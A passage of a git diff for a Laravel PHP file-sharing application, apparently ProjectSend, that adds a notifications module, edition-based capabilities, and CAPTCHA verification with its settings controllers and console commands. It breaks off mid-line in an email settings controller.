b/app/Modules/Notifications/NotificationPreferences.php @@ -0,0 +1,25 @@ +where('user_id', $user->id) + ->where('type', $type->key) + ->first(); + + return $row->email_enabled ?? $type->defaultEmailEnabled; + } +} diff --git a/app/Modules/Notifications/NotificationTypeDefinition.php b/app/Modules/Notifications/NotificationTypeDefinition.php new file mode 100644 index 00000000..53e915b0 --- /dev/null +++ b/app/Modules/Notifications/NotificationTypeDefinition.php @@ -0,0 +1,53 @@ +notify() + * when the recipient's preference (see NotificationPreferences) allows + * it — null means this type is in-app only, nothing to email. + * + * $url resolves the deep-link route for a notification of this type from + * its `data` — e.g. fn (array $data) => route('files.edit', $data['file_id']). + * + * $digestMail / $digestMailMany are the other way to email: instead of + * Notifier sending one message per event, NotificationDigester buffers + * them per recipient and SendNotificationDigest sends $digestMail for a + * lone item or $digestMailMany for several. Set these *instead of* + * $mailNotification — setting both would send twice. + * + * Both constructors are called with named arguments (`item:` for one, + * `items:` for many), so the mail class's parameter must be named to + * match. + * + * A type with either of them counts as emailable, so it appears on the + * per-user preference screen and $defaultEmailEnabled applies to it — the + * digest path had no toggle at all before, which meant file-share emails + * could not be turned off by the person receiving them. + */ +final class NotificationTypeDefinition +{ + /** + * @param (Closure(array $data): string)|null $url + */ + public function __construct( + public readonly string $key, + public readonly string $label, + public readonly string $template, + public readonly ?string $mailNotification = null, + public readonly bool $defaultEmailEnabled = false, + public readonly ?string $digestMail = null, + public readonly ?string $digestMailMany = null, + public readonly ?Closure $url = null, + ) {} +} diff --git a/app/Modules/Notifications/NotificationTypeRegistry.php b/app/Modules/Notifications/NotificationTypeRegistry.php new file mode 100644 index 00000000..7d0577f8 --- /dev/null +++ b/app/Modules/Notifications/NotificationTypeRegistry.php @@ -0,0 +1,44 @@ + + */ + private array $types = []; + + public function register(NotificationTypeDefinition $definition): void + { + $this->types[$definition->key] = $definition; + } + + public function get(string $key): ?NotificationTypeDefinition + { + return $this->types[$key] ?? null; + } + + /** + * @return list + */ + public function all(): array + { + return array_values($this->types); + } +} diff --git a/app/Modules/Notifications/NotificationsServiceProvider.php b/app/Modules/Notifications/NotificationsServiceProvider.php new file mode 100644 index 00000000..11cb40f6 --- /dev/null +++ b/app/Modules/Notifications/NotificationsServiceProvider.php @@ -0,0 +1,27 @@ +app->singleton(NotificationTypeRegistry::class); + $this->app->singleton(Notifier::class); + $this->app->singleton(NotificationPreferences::class); + } + + public function boot(): void + { + Gate::policy(InAppNotification::class, InAppNotificationPolicy::class); + } +} diff --git a/app/Modules/Notifications/Notifier.php b/app/Modules/Notifications/Notifier.php new file mode 100644 index 00000000..c3c4c537 --- /dev/null +++ b/app/Modules/Notifications/Notifier.php @@ -0,0 +1,73 @@ +notify() directly — the same list FileAssignmentsController + * resolves before calling FileShareDigester::queue(), for example. Never + * pass a broad query (User::all(), an unfiltered role lookup, etc.) — + * centralizing "who can see this subject" here would require this + * shared module to know every feature's distinct access model, and any + * attempt to re-derive it here risks silently drifting out of sync with + * the real check that already lives next to each feature's own policy. + * Every call site must resolve recipients itself first. + */ +class Notifier +{ + public function __construct( + private readonly NotificationTypeRegistry $types, + private readonly NotificationPreferences $preferences, + private readonly Settings $settings, + ) {} + + /** + * @param iterable $recipients Already permission-checked by the caller. + * @param array $data Template placeholders; also passed as named + * constructor arguments to $type->mailNotification when one is dispatched — + * keys must match that class's constructor parameter names exactly. + */ + public function send(string $typeKey, iterable $recipients, ?Model $subject = null, array $data = []): void + { + $type = $this->types->get($typeKey) ?? throw new InvalidArgumentException("Unknown notification type: {$typeKey}"); + + foreach ($recipients as $recipient) { + InAppNotification::query()->create([ + 'user_id' => $recipient->getKey(), + 'type' => $type->key, + 'subject_type' => $subject?->getMorphClass(), + 'subject_id' => $subject?->getKey(), + 'data' => $data, + 'created_at' => now(), + ]); + + if ($type->mailNotification !== null && $this->shouldEmail($recipient, $type)) { + $recipient->notify(app($type->mailNotification, $data)); + } + } + } + + private function shouldEmail(User $recipient, NotificationTypeDefinition $type): bool + { + if ($this->settings->get(Setting::EmailNotificationsEnabled) !== true) { + return false; + } + + return $this->preferences->emailEnabledFor($recipient, $type); + } +} diff --git a/app/Modules/Notifications/PendingNotification.php b/app/Modules/Notifications/PendingNotification.php new file mode 100644 index 00000000..4e51fb2f --- /dev/null +++ b/app/Modules/Notifications/PendingNotification.php @@ -0,0 +1,45 @@ +|null $context + */ +class PendingNotification extends Model +{ + protected $fillable = [ + 'user_id', + 'type', + 'subject_name', + 'context', + ]; + + protected $casts = [ + 'context' => 'array', + ]; + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } +} diff --git a/app/Modules/Platform/Attribution/Attribution.php b/app/Modules/Platform/Attribution/Attribution.php new file mode 100644 index 00000000..2187bde3 --- /dev/null +++ b/app/Modules/Platform/Attribution/Attribution.php @@ -0,0 +1,32 @@ +visible; + } +} diff --git a/app/Modules/Platform/Attribution/Events/ResolvingAttribution.php b/app/Modules/Platform/Attribution/Events/ResolvingAttribution.php new file mode 100644 index 00000000..e3b60b37 --- /dev/null +++ b/app/Modules/Platform/Attribution/Events/ResolvingAttribution.php @@ -0,0 +1,36 @@ + + */ + public function editions(): array + { + return match ($this) { + self::UsersManage, + self::StorageConfigure, + self::EmailTransportConfigure, + self::SystemUpdates, + self::SchedulerMonitoring, + self::CustomAssets => [Edition::Community], + + self::Branding, + self::CaptchaManagedKeys => [Edition::Cloud], + }; + } + + public function availableIn(Edition $edition): bool + { + return in_array($edition, $this->editions(), true); + } +} diff --git a/app/Modules/Platform/Capabilities/CapabilityRegistry.php b/app/Modules/Platform/Capabilities/CapabilityRegistry.php new file mode 100644 index 00000000..93eeaa05 --- /dev/null +++ b/app/Modules/Platform/Capabilities/CapabilityRegistry.php @@ -0,0 +1,47 @@ +edition; + } + + public function has(Capability $capability): bool + { + return $capability->availableIn($this->edition); + } + + /** + * @return list + */ + public function enabled(): array + { + return array_values(array_filter( + Capability::cases(), + fn (Capability $capability): bool => $this->has($capability), + )); + } + + /** + * Capability keys enabled for this edition, for Inertia shared props and + * API responses. + * + * @return list + */ + public function enabledKeys(): array + { + return array_map( + fn (Capability $capability): string => $capability->value, + $this->enabled(), + ); + } +} diff --git a/app/Modules/Platform/Capabilities/CapabilityUnavailable.php b/app/Modules/Platform/Capabilities/CapabilityUnavailable.php new file mode 100644 index 00000000..0c50b71b --- /dev/null +++ b/app/Modules/Platform/Capabilities/CapabilityUnavailable.php @@ -0,0 +1,31 @@ +value.'.'); + } +} diff --git a/app/Modules/Platform/Capabilities/Edition.php b/app/Modules/Platform/Capabilities/Edition.php new file mode 100644 index 00000000..d2f14aa1 --- /dev/null +++ b/app/Modules/Platform/Capabilities/Edition.php @@ -0,0 +1,11 @@ +resolvedOnce) { + return $this->resolved; + } + + $this->resolvedOnce = true; + + return $this->resolved = $this->resolve(); + } + + public function provider(): ?CaptchaProvider + { + return $this->active()?->provider; + } + + /** + * Whether this installation is allowed to use the platform's own keys + * at all — the one genuine edition difference in this feature. + */ + public function managedKeysAvailable(): bool + { + return $this->capabilities->has(Capability::CaptchaManagedKeys) + && $this->managedConfig() !== null; + } + + /** + * Whether an administrator has *chosen* the platform's keys, whether or + * not that choice can currently be honoured. + * + * Two gates, on purpose. The setting is inert without the capability, + * so a value of "managed" carried in by a v1 import, a hand-edited row + * or an install that used to be cloud can never make a self-hosted + * server reach for keys it does not have. + */ + public function managedKeysSelected(): bool + { + return $this->capabilities->has(Capability::CaptchaManagedKeys) + && $this->settings->get(Setting::CaptchaKeySource) === 'managed'; + } + + /** + * Whether this form is protected on this installation. + * + * Both halves matter: a provider has to be configured, *and* this + * particular form has to be switched on. An operator who does not take + * self-registrations should be able to leave that form alone without + * turning the whole feature off. + */ + public function protects(CaptchaForm $form): bool + { + return $this->active() !== null + && $this->settings->get($form->setting()) === true; + } + + /** + * What the browser is told: the provider, its public site key, and + * which forms will ask for a token. Never the secret. + * + * Cached because this rides on every Inertia response, and flushed by + * CaptchaSettings on any credential write. The *settings* half of the + * key (provider, key source, the four form toggles) has exactly one + * writer — CaptchaSettingsController — which flushes it explicitly. + * Anything else that learns to write those settings must do the same. + * + * @return array{provider: string, site_key: string, forms: list}|null + */ + public function forDisplay(): ?array + { + /** @var array{provider: string, site_key: string, forms: list}|null */ + return Cache::rememberForever(CaptchaSettings::DISPLAY_CACHE_KEY, function (): ?array { + $active = $this->active(); + + if ($active === null) { + return null; + } + + $forms = []; + + foreach (CaptchaForm::cases() as $form) { + if ($this->settings->get($form->setting()) === true) { + $forms[] = $form->value; + } + } + + return [ + 'provider' => $active->provider->value, + 'site_key' => $active->siteKey, + 'forms' => $forms, + ]; + }); + } + + public static function forgetDisplayCache(): void + { + Cache::forget(CaptchaSettings::DISPLAY_CACHE_KEY); + } + + private function resolve(): ?ResolvedCaptcha + { + // First, and deliberately ahead of everything else: an operator + // holding a shell but no working login needs a one-line fix that + // touches no database. v1's equivalent was an accident — it + // disabled itself on any hostname containing ".local". + if (config('projectsend.captcha.disabled') === true) { + return null; + } + + if ($this->managedKeysSelected()) { + return $this->managedConfig(); + } + + return $this->ownConfig(); + } + + /** + * The platform's own keys, from config and never from the tenant + * database — so a database dump never contains our credential, and + * rotating it is one fleet-wide change rather than a migration. + */ + private function managedConfig(): ?ResolvedCaptcha + { + $provider = CaptchaProvider::tryFrom((string) config('projectsend.captcha.managed.provider')); + $siteKey = trim((string) config('projectsend.captcha.managed.site_key')); + $secretKey = trim((string) config('projectsend.captcha.managed.secret_key')); + + if ($provider === null || $siteKey === '' || $secretKey === '') { + return null; + } + + return new ResolvedCaptcha( + $provider, + $siteKey, + $secretKey, + (float) config('projectsend.captcha.managed.score_threshold', CaptchaSettings::DEFAULT_SCORE_THRESHOLD), + managed: true, + ); + } + + /** + * This installation's own keys. + * + * When they are incomplete the answer is null — CAPTCHA is off, and + * the settings screen says so. It deliberately does *not* fall back to + * the platform's keys on cloud: an administrator who chose their own + * keys made a decision, and quietly substituting ours would misreport + * what is protecting them and leave their provider's dashboard empty. + */ + private function ownConfig(): ?ResolvedCaptcha + { + $selected = $this->settings->get(Setting::CaptchaProvider); + + $provider = is_string($selected) ? CaptchaProvider::tryFrom($selected) : null; + + if ($provider === null) { + return null; + } + + $stored = CaptchaSettings::for($provider); + + if (! $stored->usable()) { + return null; + } + + return new ResolvedCaptcha( + $provider, + (string) $stored->site_key, + (string) $stored->secret_key, + $stored->threshold(), + managed: false, + ); + } +} diff --git a/app/Modules/Platform/Captcha/CaptchaForm.php b/app/Modules/Platform/Captcha/CaptchaForm.php new file mode 100644 index 00000000..34ea382d --- /dev/null +++ b/app/Modules/Platform/Captcha/CaptchaForm.php @@ -0,0 +1,44 @@ +value; + } + + public function setting(): Setting + { + return match ($this) { + self::Login => Setting::CaptchaOnLogin, + self::Register => Setting::CaptchaOnRegistration, + self::PasswordReset => Setting::CaptchaOnPasswordReset, + self::Comment => Setting::CaptchaOnPublicComments, + }; + } +} diff --git a/app/Modules/Platform/Captcha/CaptchaProvider.php b/app/Modules/Platform/Captcha/CaptchaProvider.php new file mode 100644 index 00000000..19ed447c --- /dev/null +++ b/app/Modules/Platform/Captcha/CaptchaProvider.php @@ -0,0 +1,89 @@ + __('Cloudflare Turnstile'), + self::RecaptchaV2 => __('reCAPTCHA v2'), + self::RecaptchaV3 => __('reCAPTCHA v3'), + }; + } + + public function verifyUrl(): string + { + return match ($this) { + self::Turnstile => 'https://challenges.cloudflare.com/turnstile/v0/siteverify', + self::RecaptchaV2, self::RecaptchaV3 => 'https://www.google.com/recaptcha/api/siteverify', + }; + } + + /** + * The vendor script this provider's widget needs. + * + * `render=explicit` for the two that draw a widget: auto-rendering + * scans the document for a magic class, which is what made two widgets + * on one page break in v1. v3 draws nothing and instead wants the site + * key baked into the URL so `grecaptcha.execute` can be called later. + */ + public function scriptUrl(string $siteKey): string + { + return match ($this) { + self::Turnstile => 'https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit', + self::RecaptchaV2 => 'https://www.google.com/recaptcha/api.js?render=explicit', + self::RecaptchaV3 => 'https://www.google.com/recaptcha/api.js?render='.urlencode($siteKey), + }; + } + + /** + * Whether a siteverify response carries a `score` that has to clear a + * threshold, rather than a plain yes or no. + */ + public function usesScore(): bool + { + return $this === self::RecaptchaV3; + } + + /** + * Whether siteverify echoes back the action the token was minted for. + * + * When it does, a token from the login form can be refused at the + * registration form — the replay hole v1 left open by hardcoding the + * action to "submit" and never reading it back. reCAPTCHA v2 returns + * no action at all and cannot be bound this way; the residual risk is + * bounded by tokens being single-use, short-lived, site-key-scoped and + * behind the same throttles as everything else. + */ + public function bindsAction(): bool + { + return $this !== self::RecaptchaV2; + } +} diff --git a/app/Modules/Platform/Captcha/CaptchaResult.php b/app/Modules/Platform/Captcha/CaptchaResult.php new file mode 100644 index 00000000..177c589c --- /dev/null +++ b/app/Modules/Platform/Captcha/CaptchaResult.php @@ -0,0 +1,49 @@ +verify($value, $this->form, Request::ip()); + + if ($result->allowsRequest()) { + return; + } + + $fail(__('Security check failed. Please try again.')); + } +} diff --git a/app/Modules/Platform/Captcha/CaptchaSettings.php b/app/Modules/Platform/Captcha/CaptchaSettings.php new file mode 100644 index 00000000..544b9df3 --- /dev/null +++ b/app/Modules/Platform/Captcha/CaptchaSettings.php @@ -0,0 +1,120 @@ + self::DEFAULT_SCORE_THRESHOLD, + ]; + + protected function casts(): array + { + return [ + 'provider' => CaptchaProvider::class, + 'secret_key' => 'encrypted', + 'score_threshold' => 'float', + ]; + } + + public static function for(CaptchaProvider $provider): self + { + return static::query()->firstOrNew(['provider' => $provider->value]); + } + + /** + * Every provider, configured or not, in enum order — so the settings + * screen always renders the same cards and a provider added to the + * enum needs no seeding. + * + * @return array + */ + public static function allProviders(): array + { + $stored = static::query()->get()->keyBy(fn (self $row): string => $row->provider->value); + + $rows = []; + + foreach (CaptchaProvider::cases() as $provider) { + $rows[$provider->value] = $stored->get($provider->value) ?? static::for($provider); + } + + return $rows; + } + + /** + * Whether this provider can actually be used. + * + * Incomplete configuration behaves exactly as "switched off" rather + * than throwing on the first visitor to reach a login form — the same + * rule SocialSettings::usable() and LdapSettings::usable() follow, and + * for the same reason: an administrator can save a half-filled form. + */ + public function usable(): bool + { + return $this->filled('site_key') && $this->filled('secret_key'); + } + + public function threshold(): float + { + // Not `?:` — 0.0 is a meaningful threshold ("accept every score"), + // and v1's `!empty()` check silently turned it back into 0.5. + return $this->score_threshold ?? self::DEFAULT_SCORE_THRESHOLD; + } + + protected static function booted(): void + { + // Any write to this table can change what the browser is told, + // including one that clears a key. + static::saved(fn () => Cache::forget(self::DISPLAY_CACHE_KEY)); + static::deleted(fn () => Cache::forget(self::DISPLAY_CACHE_KEY)); + } + + private function filled(string $attribute): bool + { + $value = $this->getAttribute($attribute); + + return is_string($value) && trim($value) !== ''; + } +} diff --git a/app/Modules/Platform/Captcha/CaptchaVerifier.php b/app/Modules/Platform/Captcha/CaptchaVerifier.php new file mode 100644 index 00000000..2f43f9c7 --- /dev/null +++ b/app/Modules/Platform/Captcha/CaptchaVerifier.php @@ -0,0 +1,305 @@ +captcha->active(); + + if ($active === null) { + return CaptchaResult::Passed; + } + + // While the breaker is open every verification is already known to + // be failing. Without this, an outage adds the full timeout to + // every login on the site rather than to the first one. + if (Cache::get(self::BREAKER_KEY) === true) { + return CaptchaResult::Unavailable; + } + + try { + $response = Http::asForm() + ->timeout(5) + ->connectTimeout(5) + ->acceptJson() + ->post($active->provider->verifyUrl(), array_filter([ + 'secret' => $active->secretKey, + 'response' => $token, + 'remoteip' => $ip, + ], fn (?string $value): bool => $value !== null && $value !== '')); + } catch (ConnectionException $e) { + return $this->unavailable($active, $form, ['connection'], $e->getMessage()); + } + + $body = $response->json(); + $body = is_array($body) ? $body : null; + + // A non-2xx is never a verdict about the visitor, so it can only be + // Unavailable — but the body usually still says *why*, and the + // difference between "we could not reach them" and "they rejected + // your secret key" is the whole value of the message an + // administrator eventually reads. Cloudflare answers a malformed + // secret with 400 and `invalid-input-secret` together, so reading + // the status alone would throw away the useful half. + if (! $response->successful()) { + $codes = $body !== null ? $this->errorCodes($body) : []; + + return $this->unavailable($active, $form, $codes !== [] ? $codes : ['http_'.$response->status()]); + } + + if ($body === null) { + return $this->unavailable($active, $form, ['unparseable_body']); + } + + return $this->interpret($active, $form, $body); + } + + /** + * Prove a secret key without solving a challenge. + * + * A deliberately meaningless response token is sent: a provider that + * gets far enough to complain about the *token* has accepted the + * secret, which is exactly what an administrator wants to know after + * pasting one in. Anything else is reported verbatim. + * + * @return array{ok: bool, message: string} + */ + public function test(CaptchaProvider $provider, string $siteKeyOwnerSecret): array + { + try { + $response = Http::asForm() + ->timeout(5) + ->connectTimeout(5) + ->acceptJson() + ->post($provider->verifyUrl(), [ + 'secret' => $siteKeyOwnerSecret, + 'response' => 'projectsend-connectivity-probe', + ]); + } catch (ConnectionException $e) { + return [ + 'ok' => false, + 'message' => __('Could not reach :provider: :error', [ + 'provider' => $provider->label(), + 'error' => $e->getMessage(), + ]), + ]; + } + + $body = is_array($response->json()) ? $response->json() : []; + $codes = $this->errorCodes($body); + + // The plainest possible answer, and easy to forget to handle + // because a made-up token should never verify: Cloudflare's + // always-pass *testing* secret accepts anything, including this + // probe. Without this branch the clearest "your key works" there + // is falls through to "unexpected reply". + if (($body['success'] ?? false) === true) { + return [ + 'ok' => true, + 'message' => __(':provider accepted your secret key.', ['provider' => $provider->label()]), + ]; + } + + if (in_array('invalid-input-response', $codes, true) || in_array('missing-input-response', $codes, true)) { + return [ + 'ok' => true, + 'message' => __(':provider accepted your secret key.', ['provider' => $provider->label()]), + ]; + } + + if ($this->blamesOurCredentials($codes)) { + return [ + 'ok' => false, + 'message' => __(':provider rejected your secret key.', ['provider' => $provider->label()]), + ]; + } + + return [ + 'ok' => false, + 'message' => __('Unexpected reply from :provider: :codes', [ + 'provider' => $provider->label(), + 'codes' => $codes === [] ? (string) $response->status() : implode(', ', $codes), + ]), + ]; + } + + /** + * What the settings screen shows about the last failure, if any. + * + * @return array{at: string, codes: list, our_credentials: bool}|null + */ + public static function lastError(): ?array + { + /** @var array{at: string, codes: list, our_credentials: bool}|null */ + return Cache::get(self::LAST_ERROR_KEY); + } + + /** + * Forget that anything was ever wrong: both the operator-facing + * complaint and the breaker holding calls back. + * + * Called when the configuration changes, because an administrator who + * has just replaced a rejected key should get a fresh verdict on the + * next visitor rather than a minute of silence and a week-old warning + * about the key they already fixed. + */ + public static function forgetOutage(): void + { + Cache::forget(self::LAST_ERROR_KEY); + Cache::forget(self::BREAKER_KEY); + } + + /** + * @param array $body + */ + private function interpret(ResolvedCaptcha $active, CaptchaForm $form, array $body): CaptchaResult + { + $codes = $this->errorCodes($body); + + if (($body['success'] ?? false) !== true) { + // A wrong or missing secret is our mistake, not the visitor's, + // and refusing them for it is how an installation locks its own + // administrator out over a trailing space in a pasted key. + if ($this->blamesOurCredentials($codes)) { + return $this->unavailable($active, $form, $codes); + } + + Cache::forget(self::BREAKER_KEY); + + return CaptchaResult::Failed; + } + + // The provider answered, so whatever was wrong before is over. + Cache::forget(self::BREAKER_KEY); + + // The hostname the widget ran on comes back too. It is logged with + // a failure and never enforced: the provider already restricts the + // site key to its own domain list, and enforcing it here breaks + // behind a reverse proxy and on cloud, where one managed key + // serves every tenant subdomain. + // Bound when the provider says what the token was minted for, and + // only then. A response carrying a *different* action is a token + // from another form and is refused — the replay v1 allowed by + // hardcoding the action to "submit" and never reading it back. + // + // An absent action is accepted, because it means the widget that + // minted this was rendered without one: Cloudflare's own testing + // keys answer that way, and so does any provider we have not + // taught to send it. Refusing those would break the keys people + // develop against while buying nothing — a token minted without an + // action was never bound to a form in the first place, and + // stopping somebody who can render their own widget is what the + // provider's domain allow-list is for. + $action = $body['action'] ?? null; + + if ($active->provider->bindsAction() + && is_string($action) && $action !== '' + && $action !== $form->action()) { + return CaptchaResult::Failed; + } + + if ($active->provider->usesScore()) { + $score = $body['score'] ?? null; + + if (! is_numeric($score) || (float) $score < $active->threshold) { + return CaptchaResult::Failed; + } + } + + return CaptchaResult::Passed; + } + + /** + * @param array $body + * @return list + */ + private function errorCodes(array $body): array + { + $codes = $body['error-codes'] ?? []; + + if (! is_array($codes)) { + return []; + } + + return array_values(array_map(strval(...), $codes)); + } + + /** + * @param list $codes + */ + private function blamesOurCredentials(array $codes): bool + { + return array_intersect($codes, [ + 'invalid-input-secret', + 'missing-input-secret', + 'bad-request', + 'internal-error', + ]) !== []; + } + + /** + * @param list $codes + */ + private function unavailable(ResolvedCaptcha $active, CaptchaForm $form, array $codes, ?string $detail = null): CaptchaResult + { + Cache::put(self::BREAKER_KEY, true, self::BREAKER_SECONDS); + + Cache::put(self::LAST_ERROR_KEY, [ + 'at' => now()->toIso8601String(), + 'codes' => $codes, + 'our_credentials' => $this->blamesOurCredentials($codes), + ], now()->addDays(self::LAST_ERROR_DAYS)); + + // Not the activity log: this is a transient infrastructure + // condition, not something an administrator did. + Log::warning('Captcha verification unavailable', array_filter([ + 'provider' => $active->provider->value, + 'managed' => $active->managed, + 'form' => $form->value, + 'error_codes' => $codes, + 'detail' => $detail, + ])); + + return CaptchaResult::Unavailable; + } +} diff --git a/app/Modules/Platform/Captcha/Console/DisableCaptchaCommand.php b/app/Modules/Platform/Captcha/Console/DisableCaptchaCommand.php new file mode 100644 index 00000000..2fd852c5 --- /dev/null +++ b/app/Modules/Platform/Captcha/Console/DisableCaptchaCommand.php @@ -0,0 +1,45 @@ +set(Setting::CaptchaProvider, 'none'); + + // Keys are left where they are: this is a way back in, not a way + // to lose a credential somebody will want again in ten minutes. + Captcha::forgetDisplayCache(); + CaptchaVerifier::forgetOutage(); + + $this->info('CAPTCHA is off. Your keys are still stored — switch it back on at /system/settings/captcha.'); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Platform/Captcha/Console/TestCaptchaCommand.php b/app/Modules/Platform/Captcha/Console/TestCaptchaCommand.php new file mode 100644 index 00000000..ba9b14e4 --- /dev/null +++ b/app/Modules/Platform/Captcha/Console/TestCaptchaCommand.php @@ -0,0 +1,53 @@ +active(); + + if ($active === null) { + $this->warn('No CAPTCHA is configured, so there is nothing to test.'); + + return self::SUCCESS; + } + + $this->line(sprintf( + 'Testing %s with %s keys…', + $active->provider->label(), + $active->managed ? 'the platform’s' : 'this installation’s', + )); + + $result = $verifier->test($active->provider, $active->secretKey); + + if ($result['ok']) { + $this->info($result['message']); + + return self::SUCCESS; + } + + $this->error($result['message']); + + return self::FAILURE; + } +} diff --git a/app/Modules/Platform/Captcha/ResolvedCaptcha.php b/app/Modules/Platform/Captcha/ResolvedCaptcha.php new file mode 100644 index 00000000..f4d26f57 --- /dev/null +++ b/app/Modules/Platform/Captcha/ResolvedCaptcha.php @@ -0,0 +1,25 @@ +capabilities->has(Capability::CustomAssets)) { + return ''; + } + + if (! class_exists(CustomAssetRenderer::class)) { + return ''; + } + + $slot = AssetPosition::tryFrom($position); + + if ($slot === null) { + return ''; + } + + $user = ($request ?? request())->user(); + + return app(CustomAssetRenderer::class)->render( + $slot, + AssetSurface::current($user, $user !== null && $user->isStaff()), + ); + } +} diff --git a/app/Modules/Platform/Http/Controllers/AboutController.php b/app/Modules/Platform/Http/Controllers/AboutController.php new file mode 100644 index 00000000..3b428a79 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/AboutController.php @@ -0,0 +1,50 @@ +user(); + assert($user !== null); + + $canSeeEnvironment = $user->can('view_system_info') + && $this->capabilities->has(Capability::SystemUpdates); + + return Inertia::render('system/about', [ + 'license' => 'GNU General Public License v2', + 'environment' => $canSeeEnvironment ? $this->environment->toArray() : null, + ]); + } +} diff --git a/app/Modules/Platform/Http/Controllers/CaptchaSettingsController.php b/app/Modules/Platform/Http/Controllers/CaptchaSettingsController.php new file mode 100644 index 00000000..0ceeaedc --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/CaptchaSettingsController.php @@ -0,0 +1,222 @@ + $stored) { + $providers[] = [ + 'provider' => $key, + 'label' => $stored->provider->label(), + 'site_key' => $stored->site_key, + // The secret itself never leaves the server. + 'has_secret_key' => is_string($stored->secret_key) && $stored->secret_key !== '', + 'score_threshold' => $stored->threshold(), + 'uses_score' => $stored->provider->usesScore(), + ]; + } + + $active = $this->captcha->active(); + + return Inertia::render('system/settings/captcha', [ + 'provider' => $this->settings->get(Setting::CaptchaProvider), + 'key_source' => $this->captcha->managedKeysSelected() ? 'managed' : 'own', + // Whether this installation may use the platform's keys at all. + // False in community, and false in cloud if we have not + // configured any — in which case the choice is not offered + // rather than offered and broken. + 'managed_keys_available' => $this->captcha->managedKeysAvailable(), + 'providers' => $providers, + 'forms' => [ + 'login' => $this->settings->get(Setting::CaptchaOnLogin), + 'registration' => $this->settings->get(Setting::CaptchaOnRegistration), + 'password_reset' => $this->settings->get(Setting::CaptchaOnPasswordReset), + 'public_comments' => $this->settings->get(Setting::CaptchaOnPublicComments), + ], + // So the page can say plainly whether anything is actually + // protecting the forms — a half-filled configuration is + // switched off, and silence about that is how an operator + // believes they are covered when they are not. + 'active' => $active !== null, + 'using_managed_keys' => $active !== null && $active->managed, + 'last_error' => CaptchaVerifier::lastError(), + 'test_result' => $request->session()->get('captcha_test_result'), + ]); + } + + public function update(Request $request): RedirectResponse + { + $canUseManagedKeys = $this->capabilities->has(Capability::CaptchaManagedKeys); + + $rules = [ + 'on_login' => ['required', 'boolean'], + 'on_registration' => ['required', 'boolean'], + 'on_password_reset' => ['required', 'boolean'], + 'on_public_comments' => ['required', 'boolean'], + ]; + + // Read only where it means something. On community the field never + // enters the rules and is never written, so a hand-crafted PATCH + // cannot point a self-hosted install at credentials it has not got. + if ($canUseManagedKeys) { + $rules['key_source'] = ['required', Rule::in(['managed', 'own'])]; + } + + $usingManagedKeys = $canUseManagedKeys && $request->input('key_source') === 'managed'; + + if (! $usingManagedKeys) { + $selected = CaptchaProvider::tryFrom((string) $request->input('provider')); + + $rules['provider'] = ['required', Rule::in([ + 'none', + ...array_map(fn (CaptchaProvider $case): string => $case->value, CaptchaProvider::cases()), + ])]; + + $rules['site_key'] = [$selected !== null ? 'required' : 'nullable', 'string', 'max:255']; + + // Required on a first save, optional afterwards — so editing + // the threshold or a form switch never wipes the credential, + // while a provider cannot be switched on half-configured. + $hasStoredSecret = $selected !== null && CaptchaSettings::for($selected)->usable(); + + $rules['secret_key'] = [ + $selected !== null && ! $hasStoredSecret ? 'required' : 'nullable', + 'string', + 'max:512', + ]; + + $rules['score_threshold'] = [ + $selected?->usesScore() === true ? 'required' : 'nullable', + 'numeric', + 'between:0,1', + ]; + } + + $validated = $request->validate($rules); + + if ($canUseManagedKeys) { + $this->settings->set(Setting::CaptchaKeySource, $validated['key_source']); + } + + if (! $usingManagedKeys) { + $this->settings->set(Setting::CaptchaProvider, $validated['provider']); + + $selected = CaptchaProvider::tryFrom($validated['provider']); + + if ($selected !== null) { + $stored = CaptchaSettings::for($selected); + $stored->provider = $selected; + $stored->site_key = $validated['site_key'] ?? null; + + if ($selected->usesScore()) { + $stored->score_threshold = (float) $validated['score_threshold']; + } + + // Blank means "leave it alone". + if (is_string($validated['secret_key'] ?? null) && $validated['secret_key'] !== '') { + $stored->secret_key = $validated['secret_key']; + } + + $stored->save(); + } + } + + $this->settings->set(Setting::CaptchaOnLogin, (bool) $validated['on_login']); + $this->settings->set(Setting::CaptchaOnRegistration, (bool) $validated['on_registration']); + $this->settings->set(Setting::CaptchaOnPasswordReset, (bool) $validated['on_password_reset']); + $this->settings->set(Setting::CaptchaOnPublicComments, (bool) $validated['on_public_comments']); + + // This controller is the only writer of the settings half of the + // display payload, so it is the only thing that has to remember + // this. The credentials half flushes itself from the model. + Captcha::forgetDisplayCache(); + + // A configuration change deserves a fresh verdict rather than a + // week-old complaint about the key that was just replaced. + CaptchaVerifier::forgetOutage(); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'captcha']); + + return back()->with('success', __('CAPTCHA settings saved.')); + } + + /** + * Prove a secret key without anybody having to solve a challenge. + * + * The most common configuration failure is a key pasted from the wrong + * field or with a trailing space, and because a bad secret deliberately + * fails *open*, nothing on the public forms would reveal it. This does. + */ + public function test(Request $request, CaptchaVerifier $verifier): RedirectResponse + { + $validated = $request->validate([ + 'provider' => ['required', Rule::enum(CaptchaProvider::class)], + 'secret_key' => ['nullable', 'string', 'max:512'], + ]); + + $provider = CaptchaProvider::from($validated['provider']); + + // The one being typed if there is one, otherwise the one on file — + // so the button tests what the administrator is looking at. + $secret = $validated['secret_key'] ?? null; + + if (! is_string($secret) || $secret === '') { + $secret = CaptchaSettings::for($provider)->secret_key; + } + + if (! is_string($secret) || $secret === '') { + return back()->with('captcha_test_result', [ + 'ok' => false, + 'message' => __('Enter a secret key first.'), + ]); + } + + return back()->with('captcha_test_result', $verifier->test($provider, $secret)); + } +} diff --git a/app/Modules/Platform/Http/Controllers/EmailSettingsController.php b/app/Modules/Platform/Http/Controllers/EmailSettingsController.php new file mode 100644 index 00000000..6a91cfd7 --- /dev/null +++ b/app/Modules/Platform/Http/Controllers/EmailSettingsController.php @@ -0,0 +1,184 @@ +settings->get(Setting::AdminNotificationEmails); + $mailProvider = MailProviderSettings::current(); + + return Inertia::render('system/settings/email', [ + 'email_notifications_enabled' => $this->settings->get(Setting::EmailNotificationsEnabled), + 'admin_notification_emails' => is_array($adminEmails) ? $adminEmails : [], + 'mail_provider' => [ + 'provider' => $mailProvider->provider->value, + 'host' => $mailProvider->host ?? '', + 'port' => $mailProvider->port, + 'username' => $mailProvider->username ?? '', + 'has_password' => $mailProvider->password !== null && $mailProvider->password !== '', + 'encryption' => $mailProvider->encryption, + 'from_address' => $mailProvider->from_address 